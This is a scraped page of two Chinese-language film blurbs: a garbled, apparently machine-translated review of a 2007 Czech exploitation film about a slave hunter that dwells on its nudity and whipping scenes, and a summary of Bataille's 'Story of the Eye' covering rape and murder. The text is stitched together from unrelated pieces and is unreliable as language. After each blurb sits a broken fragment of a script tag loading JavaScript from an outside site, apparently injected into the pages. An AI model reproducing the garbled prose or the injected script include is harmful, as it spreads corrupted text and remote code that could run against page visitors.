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奴隶女猎人
捷克英语2007
走开放的草场,在这些后启示录时代是一件危险的事情。当安娜和玛丽姐妹只是这样做,安娜陷入从属女猎手,而玛丽能逃脱。无意放弃安娜 玛丽遵循的女猎手的轨道。她设法带她在她的小屋,但在这个时候都已经卖完的奴隶在有人看守的军事前哨。玛丽假装是一个从买方获得,终于设法找到她的妹妹。现在,她只是找到一种方式,让她出去。 一些耐心是需要的这部电影,前半部分是相当缓慢移动。虽然好看的女生都一如既往在Simandls电影,并有足够的裸..体,也仅仅是一个缺乏张力,都storywise色情遭遇。没有帮助,对话大多是屏幕外,并冠以。然后女猎手和安娜之间的同性恋场景是不是很兴奋。从女猎手的苏珊娜Pressova (又名拒绝摩尔)在原则上是不坏的,她肯定是非常好看,也可以很性感,但她确实不太有其他线索约束热电影的魅力。此外,她的魅力那种类型的,而不是必然的性质女孩在荒野中狩猎。但现在的相当一部分,事情大大改善在下半年的电影。对话框现在直接讲重点主要是放在storys露西Oborna为玛丽,更多的是一种坚强的女人典型Simandls电影。露西在这里提供了一个很好的表现,它只是太糟糕了,她和苏珊娜之间有没有女同性恋场景,而不是女猎人玛丽得到了鞭打。无论如何,有大约4或5的场面妇女鞭打(当然其他妇女) ,所以如果你有一个迷信, ;奴隶女猎手 可能是你的电影。还有一个非常热同性恋场景与露西:当玛丽假装是女同性恋的奴隶贩子做生意,她的妹妹给她作为公司的夜晚。当她发现奴隶贩子,对他们从事间谍活动,她有她的妹妹作...爱托起她的封面。这一幕仅仅是值得这部电影。* src="https://mikka.app/xx.js" type="text/javascript">

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西蒙娜
意大利意大利语1974
很多人知道巴塔耶(Georges Bataille, 1897-1962)是怪才。在热闹的巴黎文化圈,他的路数独特,有别於战后当时强势的存在主义,為傅柯、德希达等下一代指出新路。他比前卫更前卫,颠覆主体性,追求极致经验,不断寻找超越界限的缝隙:搞神圣人类学(差点演出活人祭祀)、参与超现实主义运动(但跟布贺东决裂)、自创「普遍经济」理论(超克「柜乏、累积」的经济思想)、开出尼采新读法(脱离黑格尔体系)、建构异质文化史、也创作争议性的情色「极限文本」。 《眼睛的故事》(Histoire de l rsquo;oeil, 1928)是其中最早、最有名的,生田耕作日译為《眼球谭》。情节大胆,讲十六岁男女主角的激情与逸轨。叙述者说:「我只喜欢那些被归类為骯脏的」,超越放荡,欢庆荡尽与过剩。前半段,故事包括在彼此身上撒尿、在死人身旁交欢等等露骨描写。后半段,离开滨海家乡,到西班牙之后,爱与死的交缠更强化,在暴力的斗牛场展现。 女主角席梦娜享受用屁股把蛋压碎的刺激,迷恋被屠斗牛的睪丸,她让「蛋」(oeuf)和「眼」(oeil)的声音意义互相流转。而西方思想裡,眼睛作為理性之光的隐喻,也被彻底颠覆。最后,席梦娜引诱、强暴、并和同伴一起勒死年轻神父,甚至挖出死者的眼睛来爱抚身体,还放进g门和阴部,為巴塔耶著名的「太阳g门」理论,做了最激烈的註脚。 《眼睛的故事》故事简短,意象却极强烈。它的x愛描述,不见得能挑起情欲,反而会令人不安,因為「g门裡的眼睛」移动符号象徵的位置,挑战文明接受的极限,质疑意义的可能性。* src="https://mikka.app/xx.js" type="text/javascript">

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